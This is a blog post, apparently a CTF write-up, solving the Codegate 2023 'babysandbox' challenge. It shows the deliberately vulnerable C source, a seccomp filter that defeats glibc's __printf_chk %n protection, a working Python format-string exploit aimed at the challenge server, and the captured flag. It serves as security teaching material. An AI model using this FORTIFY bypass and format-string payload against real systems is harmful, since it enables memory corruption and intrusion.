deayzl's blog

[Codegate 2023] babysandbox writeup 본문

CTF writeup/Codegate

[Codegate 2023] babysandbox writeup

deayzl 2023. 6. 19. 10:00

babysandbox

box.c :

// gcc box.c -o box -no-pie

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>

#define FLAG_PATH "/flag"

int install_seccomp(uint8_t *filt, unsigned short len);
void vuln();
void read_flag();

uint32_t target = 0xdead;

int main(int argc, char **argv) {
    uint32_t filt_len;

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    read(0, &filt_len, sizeof(uint32_t));
    if (filt_len > 0x200) {
        __printf_chk(1, "Too much T_T\n");
        return 1;
    }
    uint8_t *filt =  (unsigned char *)calloc(sizeof(uint8_t), filt_len);
    int res = read(0, filt, filt_len);
    if (res != filt_len) {
        __printf_chk(1, "Cannot read enough T_T\n");
        return 1;
    }

    if (install_seccomp(filt, (unsigned short)filt_len))
        return 1;

    vuln();

    return 0;
}

int install_seccomp(unsigned char *filt, unsigned short filt_len) {
    struct prog {
        unsigned short len;
        unsigned char *filt;
    } rule = {
        .len = filt_len >> 3,
        .filt = filt
    };

    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) {
        __printf_chk(1, "Failed to prctl(PR_SET_NO_NEW_PRIVS) T_T\n");
         return 1;
    }
    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &rule) < 0) { 
        __printf_chk(1, "Failed to prctl(PR_SET_SECCOMP) T_T\n");
         return 1;
    }
    return 0;
}

void vuln() {
    char input[0x100];
    memset(input, 0, sizeof(input));

    __printf_chk(1, "Let's check our mitigation ^_^\n");
    __printf_chk(1, "Protect : %p\n", &target);
    int res = read(0, input, sizeof(input) - 1);
    if (res < 0) {
        __printf_chk(1, "Functionality is broken T_T\n");
        return;
    }
    // We have a dangerous vulnerability here!
    __printf_chk(1, input);

    if (target == 0x1337) {
        __printf_chk(1, "Mitigation failed.. The flag has been exposed T_T\n");
        read_flag();
    }
    else {
        __printf_chk(1, "\nNow we are safe from memory corruption! Thank you ^_^\n");
    }
    return;
}

void read_flag() {
    int fd = open(FLAG_PATH, O_RDONLY);
    char flag_buf[0x100];

    if (fd < 0) {
        __printf_chk(1, "Failed to open flag, contact admin please T_T\n");
        exit(1);
    }

    memset(flag_buf, 0, sizeof(flag_buf));
    int res = read(fd, flag_buf, sizeof(flag_buf));

    if (res < 0) {
        __printf_chk(1, "Failed to read flag, contact admin please T_T\n");
        exit(1);        
    }
    close(fd);
    write(1, flag_buf, res);

    return;
}

1. get size of seccomp bytes

2. get seccomp bytes

3. just read and printf

 

The target value must be 0x1337 to get flag.

Modifying it into some value can be done by format string bug through __printf_chk function.

But it does not allow it.

 

disallowed

So I googled about bypassing it.

 

https://0xacb.com/2017/11/19/hxp-flag-store/

 

HXP CTF 2017 - Writeup - 0xacb

This challenge turned out to be very interesting. 15 teams managed to solve it. Thanks to my teammate @uid1000 for digging into the GLIBC internals! We were given a 64-bit ELF binary. Cool, everything is enabled except canary. Let’s see what the binary d

0xacb.com

__readonly_area

To bypass it, __readonly_area must return 1.

To make it return 1, fopen must return NULL and errno must be ENOENT or EACCES.

 

bp on __printf_area
catch syscall
openat

Set bp on __printf_chk and catch syscall.

Then you can see that it calls openat.

Considering that getting flag function also uses it, to ban all the openat calls cannot be done.

So I added a condition for that like he did in the writeup for hxp ctf 2017.

A = sys_number
A != openat ? ok : next
A = args[1]
A &= 0xff
A != 0x47 ? next : ok
return ERRNO(2)
ok:
return ALLOW

seccomp-tools asm
seccomp-tools disasm
it works

 

exploit script: 

from pwn import p64
import requests
import base64

payload = open('./tmp.seccomp', 'rb').read()
fsb = b'%p' * 10 + b'%4791x'.ljust(9, b'A') + b'%hn' + b'A' * 8 + p64(0x404088)
req = requests.post('http://15.164.245.40:1400/', data={'payload':base64.b64encode(len(payload).to_bytes(4, 'little') + payload + fsb).decode()})

print(req.text)
res = req.text
res = res[res.find('readonly>')+len('readonly>'):]
res = res[:res.find('</te')]
print(res)
print(base64.b64decode(res))
#codegate2023{e92bd239f6c939c9474e1e1fce76512b95b3970c2af74fb7e4e61abdc6963e1683bd821e6cd25c5de386991d6b4516c926d61e03f35a}
Comments